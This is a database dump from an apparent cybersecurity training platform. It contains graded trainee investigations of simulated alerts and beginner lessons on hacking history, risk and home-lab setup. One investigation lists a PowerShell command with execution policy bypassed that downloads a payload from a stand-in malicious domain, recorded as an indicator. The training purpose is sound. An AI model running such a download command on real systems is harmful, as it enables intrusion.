(594, 283, 1534, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.15\",\"hash-46b7f3c5\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"collect_forensics\",\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15.03.2026, 23:32:26\\nALERT: Establishing Persistence on iOS Devices [OP: Quadream REIGN Spyware Investigation Training]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.15\\n- [HASH] 46b7f3c55b59d4c1a71f3c5e5d4f8f7a\\n- [FILENAME] malicious_profile.mobileconfig\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T20:32:32.163Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 20:25:56', '2026-03-15 20:32:32', 0, NULL),
(595, 283, 1535, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15.03.2026, 23:35:15\\nALERT: Lateral Movement to Connected iCloud Services [OP: Quadream REIGN Spyware Investigation Training]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.45\\n- [USERNAME] compromisedUser@icloud.com\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T20:35:15.966Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 20:32:32', '2026-03-15 20:35:15', 0, NULL),
(596, 283, 1536, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.3.15\",\"ip-203.0.113.45\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"escalate\",\"reset_credentials\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15.03.2026, 23:36:09\\nALERT: Exfiltration of Sensitive Data to External Servers [OP: Quadream REIGN Spyware Investigation Training]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.0.3.15\\n- [IP] 203.0.113.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] classified_data.zip\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T20:36:10.227Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 20:35:15', '2026-03-15 20:36:10', 0, NULL),
(597, 283, 1601, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.1.15.32\",\"hash-3f5cfc5b\",\"domain-http://malic\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15.03.2026, 23:41:38\\nALERT: Initial Access: Phishing Email Detected [OP: Advanced Fileless Ransomware Investigation: NetWalker in Healthcare & Education]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.1.15.32\\n- [HASH] 3f5cfc5b1b7d4c7a9f4e1b4c4e5a4e9b\\n- [DOMAIN] http://malicious-site.com/benefits-update\\n- [EMAIL] hr-support@fakesite.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T20:41:39.227Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 20:39:12', '2026-03-15 20:41:39', 0, NULL),
(598, 283, 1602, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.25\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_2\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15.03.2026, 23:43:15\\nALERT: Execution: Fileless PowerShell Activity [OP: Advanced Fileless Ransomware Investigation: NetWalker in Healthcare & Education]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.25\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell -NoProfile -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://malicious-domain.com/payload -OutFile $null\\n- [USERNAME] jdoe\\n- [DOMAIN] malicious-domain.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T20:43:16.194Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 20:41:39', '2026-03-15 20:43:16', 0, NULL),
(599, 283, 1603, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-193.104.68.132\",\"hash-d41d8cd9\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15.03.2026, 23:44:54\\nALERT: Persistence: Scheduled Task Creation [OP: Advanced Fileless Ransomware Investigation: NetWalker in Healthcare & Education]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 193.104.68.132\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T20:44:55.495Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 20:43:16', '2026-03-15 20:44:55', 0, NULL),
(600, 283, 1604, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-15 20:44:55', '2026-03-15 20:44:55', 0, NULL),
(601, 28, 268, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_3\",\"artifact_1\",\"ip-203.0.113.45\",\"ip-192.168.1.100\",\"ip-10.0.0.15\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15/3/2026, 10:12:14 μ.μ.\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T21:12:22.301Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 21:09:16', '2026-03-15 21:12:22', 0, NULL),
(602, 28, 269, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15/3/2026, 10:14:02 μ.μ.\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T21:14:03.868Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"block_ip\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 21:12:22', '2026-03-15 21:14:03', 0, NULL);
INSERT INTO `investigations` (`id`, `user_id`, `alert_id`, `status`, `grade`, `feedback`, `executive_summary`, `ai_summary`, `ai_evaluation_scheduled_at`, `created_at`, `updated_at`, `is_reported`, `report_reason`) VALUES
(603, 28, 270, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15/3/2026, 10:15:04 μ.μ.\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T21:15:06.766Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-15 21:14:03', '2026-03-15 21:15:06', 0, NULL),
(604, 214, 1591, 'investigating', NULL, NULL, NULL, NULL, '2026-03-16 04:55:28', '2026-03-16 01:46:28', '2026-03-16 01:46:28', 0, NULL),
(605, 225, 243, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"An attacker attempted username and password guessing 45 times. This indicates an intent to brute force RDP. This is highly malicious because connection was established, but both country and region are unknown.\",\"artifacts\":\"192.168.1.25, 10.0.0.4\",\"analysis_answers\":{\"action_taken\":\"An attacker attempted username and password guessing 45 times. This indicates an intent to brute force RDP. This is highly malicious because connection was established, but both country and region are unknown.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-16T03:06:13.182Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-16 06:06:05', '2026-03-16 02:59:05', '2026-03-16 03:07:00', 0, NULL),
(606, 225, 304, 'graded', 100, 'Legacy investigation (V1) complete. Transitioning to Playbook System (V2).', '{\"verdict\":\"True Positive\",\"executive_summary\":\"This is a spear phishing email. It contains malicious file. The URL is using port 80 and not the secured version HTTPS, which uses port 443. This indicates that the attacker wants to steal the user credentials. This suspicious email is true positive.\",\"artifacts\":\"Q3_Report.docm, d41d8cd98f00b204e9800998ecf8427e, 203.0.113.45, 192.168.1.25, http://maliciousdomain.com/securelogin, finance.partner@maliciousdomain.com, john.doe@company.com\",\"analysis_answers\":{\"action_taken\":\"This is a spear phishing email. It contains malicious file. The URL is using port 80 and not the secured version HTTPS, which uses port 443. This indicates that the attacker wants to steal the user credentials. This suspicious email is true positive.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-16T03:18:07.469Z\"}', '{\"verdict_correctness\":\"N/A\",\"key_findings\":\"Legacy Format\",\"missed_items\":[],\"strengths\":\"Completed\"}', '2026-03-16 06:17:29', '2026-03-16 03:07:29', '2026-03-16 03:19:00', 0, NULL),
(607, 225, 303, 'submitted', NULL, NULL, '{\"verdict\":\"True Positive\",\"executive_summary\":\"The sender\'s email has a typo. The spelling is \\\"trusfed\\\" instead of \\\"trusted\\\". That misspelling is already highly suspicious. The URL is using port 80 (HTTP) which is not secured. This indicates that the attacker is stealing user credentials. Therefore, this email is a phishing email.\",\"artifacts\":\"198.51.100.23, 192.168.1.45, http://malicious-link.example.com, admin@trusfed-business.com, asmith, email-server\",\"analysis_answers\":{\"action_taken\":\"The sender\'s email has a typo. The spelling is \\\"trusfed\\\" instead of \\\"trusted\\\". That misspelling is already highly suspicious. The URL is using port 80 (HTTP) which is not secured. This indicates that the attacker is stealing user credentials. Therefore, this email is a phishing email.\",\"conclusion\":\"\"},\"submitted_at\":\"2026-03-16T03:27:16.741Z\"}', NULL, '2026-03-16 06:29:06', '2026-03-16 03:19:06', '2026-03-16 03:27:16', 0, NULL);

-- --------------------------------------------------------

--
-- Table structure for table `investigation_notes`
--

CREATE TABLE `investigation_notes` (
  `id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `alert_id` int(11) NOT NULL,
  `note` text NOT NULL,
  `created_at` timestamp NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

-- --------------------------------------------------------

--
-- Table structure for table `learning_paths`
--

CREATE TABLE `learning_paths` (
  `id` int(11) NOT NULL,
  `title` varchar(255) NOT NULL,
  `description` text DEFAULT NULL,
  `difficulty_level` enum('beginner','intermediate','advanced') NOT NULL,
  `estimated_hours` int(11) DEFAULT 0,
  `icon_url` varchar(255) DEFAULT NULL,
  `display_order` int(11) DEFAULT 0,
  `is_active` tinyint(1) DEFAULT 1,
  `created_at` timestamp NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  `prerequisite_path_id` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `learning_paths`
--

INSERT INTO `learning_paths` (`id`, `title`, `description`, `difficulty_level`, `estimated_hours`, `icon_url`, `display_order`, `is_active`, `created_at`, `updated_at`, `prerequisite_path_id`) VALUES
(1, 'Pre-Security Fundamentals', 'Start your cybersecurity journey with essential IT and security foundations. Perfect for absolute beginners.', 'beginner', 120, NULL, 1, 1, '2025-12-26 00:33:07', '2025-12-26 00:33:07', NULL),
(2, 'Security Operations Basics', 'Build practical security operations skills with hands-on log analysis, packet inspection, and threat detection.', 'intermediate', 180, NULL, 2, 1, '2025-12-26 02:43:16', '2025-12-26 15:49:18', NULL),
(3, 'SOC Analyst Level 1', 'Master SIEM platforms, incident response, and become job-ready for SOC Analyst roles.', 'intermediate', 220, NULL, 3, 1, '2025-12-26 02:43:16', '2025-12-26 15:49:18', NULL),
(4, 'Advanced SOC & Threat Hunting', 'Advanced threat hunting, malware analysis, and specialized security operations.', 'advanced', 160, NULL, 4, 1, '2025-12-26 02:43:16', '2025-12-26 15:49:18', NULL),
(6, 'Threat Intelligence', 'Master the art of Cyber Threat Intelligence (CTI). Learn to collect, analyze, and disseminate intelligence to anticipate and prevent attacks.', 'intermediate', 40, NULL, 6, 1, '2025-12-29 13:30:44', '2025-12-29 13:30:44', NULL),
(9, 'Alert Investigation Specialist', 'Master the art of investigating specific security alerts. Deep dive into EDR, SIEM, Network, and Email analysis tools.', 'beginner', 0, NULL, 3, 1, '2025-12-26 17:59:30', '2025-12-26 17:59:30', NULL),
(11, 'Digital Forensics & Incident Response (DFIR)', 'Master the art of responding to cyber attacks. Learn digital forensics, memory analysis, and the incident response lifecycle.', 'intermediate', 60, NULL, 5, 1, '2026-03-09 22:28:54', '2026-03-09 22:28:54', NULL),
(12, 'Network Security & Traffic Analysis', 'Master the foundational protocols of the internet and learn how to analyze network traffic to detect and stop cyber attacks.', 'intermediate', 50, NULL, 6, 1, '2026-03-09 22:28:55', '2026-03-09 22:28:55', NULL);

-- --------------------------------------------------------

--
-- Table structure for table `lesson_content`
--

CREATE TABLE `lesson_content` (
  `id` int(11) NOT NULL,
  `task_id` int(11) NOT NULL,
  `content` text NOT NULL,
  `content_type` enum('markdown','html') DEFAULT 'markdown',
  `reading_time_minutes` int(11) DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NULL DEFAULT current_timestamp() ON UPDATE current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `lesson_content`
--

INSERT INTO `lesson_content` (`id`, `task_id`, `content`, `content_type`, `reading_time_minutes`, `created_at`, `updated_at`) VALUES
(1, 1, '## What is Cybersecurity?\n\n**Cybersecurity** is the practice of protecting systems, networks, and programs from digital attacks. These cyberattacks are usually aimed at accessing, changing, or destroying sensitive information; extorting money from users; or interrupting normal business processes.\n\n---\n\n### The Evolution of Hacking\nTo understand where we are, we must look at where we came from.\n\n#### 1. The Era of Phreaking (1970s)\nBefore computers were networked, hackers targeted **phones**. \"Phreakers\" like John Draper (Captain Crunch) used a toy whistle that emitted a 2600Hz tone. This tone tricked the AT&T phone switches into giving free long-distance calls.\n*   **Motivation**: Curiosity.\n\n#### 2. The Morris Worm (1988)\nRobert Morris wrote a script to gauge the size of the internet. A coding error made it propagate uncontrollably. It crashed 10% of the entire internet.\n*   **Impact**: The first conviction under the Computer Fraud and Abuse Act.\n\n#### 3. The Script Kiddie Era (1990s-2000s)\nTools became public. You didn\'t need to know C code; you just needed to download \"Sub7\" or \"Back Orifice\". Defacements of websites were common.\n*   **Motivation**: Fame / Notoriety.\n\n#### 4. The Era of Cybercrime (2010s-Present)\nHacking became a business. Organized crime groups (like Conti, LockBit) run \"Ransomware as a Service\". They have HR departments, helpdesks, and payroll.\n*   **Motivation**: Money. Trillions of dollars lost annually.\n\n#### 5. Cyber Warfare (State Sponsored)\nNations (US, China, Russia, Israel, Iran) use cyber tools for espionage and sabotage.\n*   **Stuxnet (2010)**: A worm that physically destroyed Iranian nuclear centrifuges. The first \"digital weapon\".\n\n---\n\n### Why is Cybersecurity Hard?\n1.  **The Defender\'s Dilemma**: A defender must be right 100% of the time. An attacker only needs to be right ONCE.\n2.  **Complexity**: Modern software has millions of lines of code. Bugs are inevitable.\n3.  **The Human Factor**: You can have a $1 Million Firewall, but if Dave in Accounting clicks a link that says \"Free iPhone\", you are breached.\n\n### Key Terminology\n*   **Threat**: The potential cause of an unwanted incident (e.g., A hacker, a hurricane).\n*   **Vulnerability**: A weakness in a system (e.g., Weak password, unpatched Windows).\n*   **Risk**: The likelihood of a Threat exploiting a Vulnerability. (`Risk = Threat x Vulnerability`).', 'markdown', 3, '2025-12-26 01:08:19', '2025-12-29 13:58:57'),
(2, 2, '## Threats, Vulnerabilities, and Exploits\n\nThe \"Holy Trinity\" of InfoSec. You must master these definitions.\n\n### 1. Vulnerability (The Lock is Broken)\nA flaw or weakness in system security procedures, design, implementation, or internal controls.\n*   **Software Vulns**: SQL Injection, Buffer Overflow.\n*   **Hardware Vulns**: Meltdown/Spectre (CPU flaws).\n*   **Human Vulns**: Gullibility (Phishing), Laziness (Weak passwords).\n*   **CVE (Common Vulnerabilities and Exposures)**: The global ID system for vulns. e.g., `CVE-2021-44228` (Log4j).\n\n### 2. Threat (The Thief)\nAny circumstance or event with the potential to adversely impact operations.\n*   **Adversarial Threats**: Hackers, Nation States, Insiders.\n*   **Environmental Threats**: Floods, Earthquakes, Power Failure.\n*   **Accidental Threats**: Users deleting the wrong database.\n\n### 3. Exploit (The Key)\nCode or a technique that takes advantage of a vulnerability.\n*   **Zero-Day Exploit**: An exploit for a vulnerability that the vendor (e.g., Microsoft) does **not** know about yet. There is no patch. These are worth millions on the black market.\n*   **Public Exploit**: Code available on Exploit-DB or GitHub.\n\n---\n\n### The Equation of Risk\n> **Risk = Threat × Vulnerability × Impact**\n\n*   **Scenario A**:\n    *   Threat: High (Nation State).\n    *   Vuln: High (Unpatched Server).\n    *   Impact: High (Database with all customer SSNs).\n    *   **Result**: CRITICAL RISK.\n\n*   **Scenario B**:\n    *   Threat: High.\n    *   Vuln: High.\n    *   Impact: Low (The server hosts the cafeteria menu).\n    *   **Result**: LOW RISK.\n\n**Risk Management** is about lowering one of these variables.\n*   We can\'t lower the **Threat** (Hackers exist).\n*   We can lower the **Vuln** (Patching).\n*   We can lower the **Impact** (Network Segmentation, Backups).', 'markdown', 3, '2025-12-26 01:08:19', '2025-12-29 13:58:57'),
(3, 3, '## Careers in Cybersecurity\n\nThe field is massive. It is not just \"Hacking\".\n\n### 1. The Blue Team (Defenders)\nThey build, monitor, and defend. 80% of jobs are here.\n*   **SOC Analyst (Tier 1/2/3)**: The first line of defense. Monitors logs, triages alerts. \"The Firefighter\".\n*   **Security Engineer**: Builds the tools. Configures Firewalls (Palo Alto), SIEMs (Splunk), and EDRs (CrowdStrike).\n*   **Incident Responder (IR)**: The SWAT team. Called in when a breach is confirmed to kick the attacker out.\n*   **Threat Hunter**: Proactively searches for threats that evaded the SOC.\n\n### 2. The Red Team (Offense)\nAuthorized hackers who test defenses.\n*   **Penetration Tester**: Hired to break into a specific app or network to find bugs.\n*   **Red Teamer**: Simulation of a full adversary (APT). They might phish employees, clone badges, or break windows.\n\n### 3. Engineering & GRC\n*   **DevSecOps**: Writes secure code and builds security into the pipeline.\n*   **GRC (Governance, Risk, Compliance)**: Policy writers. Auditors. They ensure the company follows laws (GDPR, HIPAA) and standards (ISO 27001). \"The Lawyers of Cyber\".\n\n---\n\n### Certificates vs Degrees\nCybersecurity is a meritocracy. Practical skills often outweigh degrees.\n*   **Entry Level**: CompTIA Security+, Network+.\n*   **Technical**: OSCP (PenTesting), BTL1 (Blue Team), CCNA (Networking).\n*   **Management**: CISSP (The \"Gold Standard\" for HR filters, but less technical).\n\n### How to Start?\n1.  **Learn Linux**: It is the OS of the internet.\n2.  **Learn Networking**: You can\'t hack a network if you don\'t know how IP packets work.\n3.  **Build a Lab**: Set up VirtualBox with Kali Linux and a vulnerable target (Metasploitable).', 'markdown', 3, '2025-12-26 01:52:34', '2025-12-29 13:58:57'),
(4, 4, '\n## 🎯 Learning Objective\n\nUnderstand **Quiz: Cybersecurity Basics** and its role in modern cybersecurity operations.\n\n---\n\n## 📖 Core Concept\n\nQuiz: Cybersecurity Basics is a foundational element of security.\n\n### What is it?\nQuiz: Cybersecurity Basics involves:\n- **Identification**: Recognizing patterns\n- **Analysis**: Understanding impact\n- **Mitigation**: Reducing risk\n\n### Why it Matters\nWithout Quiz: Cybersecurity Basics, organizations cannot effectively defend against threats.\n\n---\n\n## ⚡ Quick Facts\n\n- **Criticality**: High\n- **Frequency**: Daily\n- **Impact**: Operational Security\n\n---\n\n## 🛠️ Analyst Workflow\n\n1. **Monitor**: Watch for indicators\n2. **Analyze**: Verify context\n3. **Escalate**: If confirmed threat\n\n---\n\n## 📝 Summary\n\nMastering **Quiz: Cybersecurity Basics** is essential for Level 1 SOC analysts.\n', 'markdown', 3, '2025-12-26 01:52:34', '2025-12-26 14:39:59'),
(5, 5, '## Setting Up Your Lab\n\nYou cannot learn hacking by reading. You must **do**.\nA Home Lab is safe place to break things.\n\n### The Virtualization Hypervisor\nAllows you to run multiple Operating Systems on one physical computer.\n*   **VirtualBox**: Free, Open Source. (Recommended).\n*   **VMware Workstation Player**: Free for personal use. fast.\n\n### The Attack Box: Kali Linux\nA Debian-based Linux distribution pre-installed with 600+ hacking tools.\n*   **Nmap**: Scanner.\n*   **Metasploit**: Exploit Framework.\n*   **Wireshark**: Packet Sniffer.\n*   **Burp Suite**: Web Proxy.\n*   *Download*: Get the \"VirtualBox Image\" from kali.org. Do not install the ISO unless you are comfortable.\n\n### The Victim Box: Metasploitable 2\nAn intentionally vulnerable Linux machine.\n*   It has open ports, weak passwords, and old web apps.\n*   **WARNING**: Never expose Metasploitable to the internet (Bridge Mode). Always use \"Host Only\" or \"NAT Network\" mode in VirtualBox. If you expose it, **you will be hacked**.\n\n### Network Modes\n1.  **NAT**: VM creates a private network inside the host. Can access internet. Safe.\n2.  **Bridged**: VM gets an IP from your home Router. It sits next to your laptop. Risky for vulnerable VMs.\n3.  **Host-Only**: Isolated network. VM can only talk to Host and other VMs. Most Secure.\n\n### Lab Exercise\n1.  Install VirtualBox.\n2.  Import Kali Linux.\n3.  Import Metasploitable.\n4.  Set both to \"NAT Network\".\n5.  Ping Metasploitable from Kali.', 'markdown', 3, '2025-12-26 01:52:35', '2025-12-29 13:58:57'),
